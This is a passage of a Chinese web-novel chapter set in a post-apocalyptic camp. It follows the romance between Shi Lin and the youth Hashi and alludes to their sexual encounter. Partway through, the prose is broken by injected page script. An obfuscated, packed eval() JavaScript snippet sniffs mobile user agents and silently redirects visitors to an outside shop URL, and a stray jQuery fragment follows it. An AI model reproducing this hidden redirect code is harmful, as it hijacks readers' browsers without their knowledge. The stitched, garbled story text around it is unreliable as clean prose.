我不是向你下跪，我是向人类的全部苦难下跪。
——陀思妥耶夫斯基
粘稠的夜色在流淌，黑得像臭水沟里的污泥脏水。时凛皱皱眉，被这肮脏的腥味弄醒，一抬头却只见到天空，暗蓝色的天空，点着星星，横着银河。
“哈希。”他试探地轻声问。
无人回应。
他记得睡前哈希已经很累了，他掌握了一些要领，哈希在其中多次叫出了声——所幸没有吵到隔壁的人。完事后已经十二点多了，供水结束，他们还没来得及清理，就将就着睡下了。
时凛摸索着，床上只有他一人，那个男孩不在身边，睡过的被褥早已凉了，要不是还留了一点痕迹，他的枕边人像是从未存在。
在这偌大的宇宙中游荡着，他突然感到荒诞的孤独。
像是流浪，颠沛，随波逐流。
他觉得自己曾与亿万人擦肩而过，却没留下一个名字，哪怕任何一丁点记忆。
恍然间，时凛发觉自己是个迷失者，曾经的家园，乐土，赖以生存的星球，灰飞烟灭。
而他一个人待在飞船里，目睹着星球崩解，腐烂，最终化为乌有。
他所有的一切都遗忘在那里，随着这片土地一同消解。
时凛怀着新生的记忆，他一睁眼，面前的星球破败不堪，锈蚀了，蛀烂了，像具迟早要朽烂的遗骨。
这景象，是他的人生，记忆的起始，永无终止。
他坐起身，揉了揉睡疼的后腰。
明明睡得很沉，也不知道怎么就醒了。
门锁动了，紧接着被打开，哈希穿着那件灰白的卫衣，顶了一头乱糟糟的头发，走进房间。
看见时凛醒来少年怔了怔：“时……时凛？”
“你去哪了？”时凛揉揉眼睛：“不累吗？”
他给哈希盖被子的时候，他就已经睡着了。
“哦……”哈希避开他的目光：“没什么，就是……就是卡琳娜叫我去帮忙。”
时凛应了一声：“快睡吧，明天还要去检查屏蔽器。”
哈希脱下鞋，爬进了被窝，挨着时凛闭上眼。
时凛轻轻嗅了一下，少年身上有一些残留的汗味，更多的是劣质香皂的香精味。
“没弄出来怎么办——”他问：“你会不舒服吗？”
少年愣了愣：
“……不会。”
“那就好。”时凛轻轻吻了他的鼻梁：“我下次不会弄进去了。”
“嗯——”
哈希仰头回吻他，眼睫像歇息的蝴蝶，笼住一泓碧蓝：“没关系的，我很喜欢。”
少年玩了一会儿他的手指，呼吸均匀，攥着他的手睡着了。
喜欢吗？
时凛静静想，他应该很喜欢，因为他又哭了。
不对，他流泪了。
早晨阳光明媚，又是一个晴天，卡琳娜哼着歌，从帐篷里搬出被褥，晾在大太阳下。
“南方就这点好，”少女捋平床单：“天气好的时候多，天热的久。”
“不是秋老虎就是倒春寒。”
她突然偏过头：“对了，时凛，我昨晚找出了一张唱片，叫《时正凛冬》，可好听了！”
时凛帮她把几双拖鞋搬出来，晒在太阳底下：“好特别的名字。”
“很适合你哦——不仅如此，调子也很上头。”她哈哈大笑：“我昨天一个人听了一晚上，对了，今天中午给你们听。”
“莉莉丝”掸了掸沾着血迹的棉被，背着手回了屋。
时凛低头数了数地上码放整齐的拖鞋，十六双，又从头数了一次。
他若有所思。
卡士终日和他的小鸟在一起，斑鸠的翅膀不疼了，他几次三番扑腾着，怎么也飞不高。
小鸟终于接受了这个事实，垂下高傲的头，蔫蔫地蹲在卡士手里，有时也站在肩上。
两条细腿在风里发抖。
“啾啾啾，小可怜，你好可怜呐。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959860|214325||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
他把苍白的脸贴在小鸟黯淡的羽毛上。
这个天才终于认命似的，拖着沉重却又枯瘦的双腿，回到了他的炒锅旁。
哈希检查完了屏蔽器，领着一群年轻人回来了。
他蹦蹦跳跳向时凛跑来。
哈希牵住时凛的手，调皮地甩了甩。
“时凛——”他以惯用的撒娇腔调说：“干什么呢？”
“没事，想事情。”他最后看了一眼守在锅旁的年轻人，弯腰吻了哈希的脸。
“中午大校要和梁一表白。”少年凑到时凛耳边，神秘兮兮地压低声音：“这事只有梁一不知道。”
时凛歪了歪头：“其实不表白也没什么吧。”
哈希一拍胸脯：“你懂什么，只有认真表白了才算在一起了。”
“是这样？爱一个人这么麻烦吗？”
“你果真还是不懂啊……”少年叹了口气：“表白可不仅仅是仪式感，它是一个承诺，懂吗？一个诺言是不能被轻易立下，也不能被轻易打破的。”
他揪紧时凛的衣领，恶狠狠地说：“你还欠我一个……打算什么时候还？！”
时凛好像确实还没对他说过这种话。
闻言，他低下头，嘴唇碰了碰少年的左眼：
“我喜欢你，少校。”
哈希僵在原地，脸“唰”的一下红了。
“你你你你……你怎么这么说！”
他结结巴巴，时凛半弯着腰，和颜悦色看着他的双眸：“不是你说的吗？”
“那你……也不许这样……”少年声音越说越小，最后，他干脆一甩手气呼呼地走开了。
“哇哦。”那个年轻的德裔白种人歪靠在一边：“少校这是……”
他想了想，挽着侦察兵的手，大笑着走了。
“……”
时凛发觉自己好像惹到他了：“我做错什么了吗？”
“哟——”卡琳娜笑嘻嘻地擂了他一拳：“他一定是害羞了。”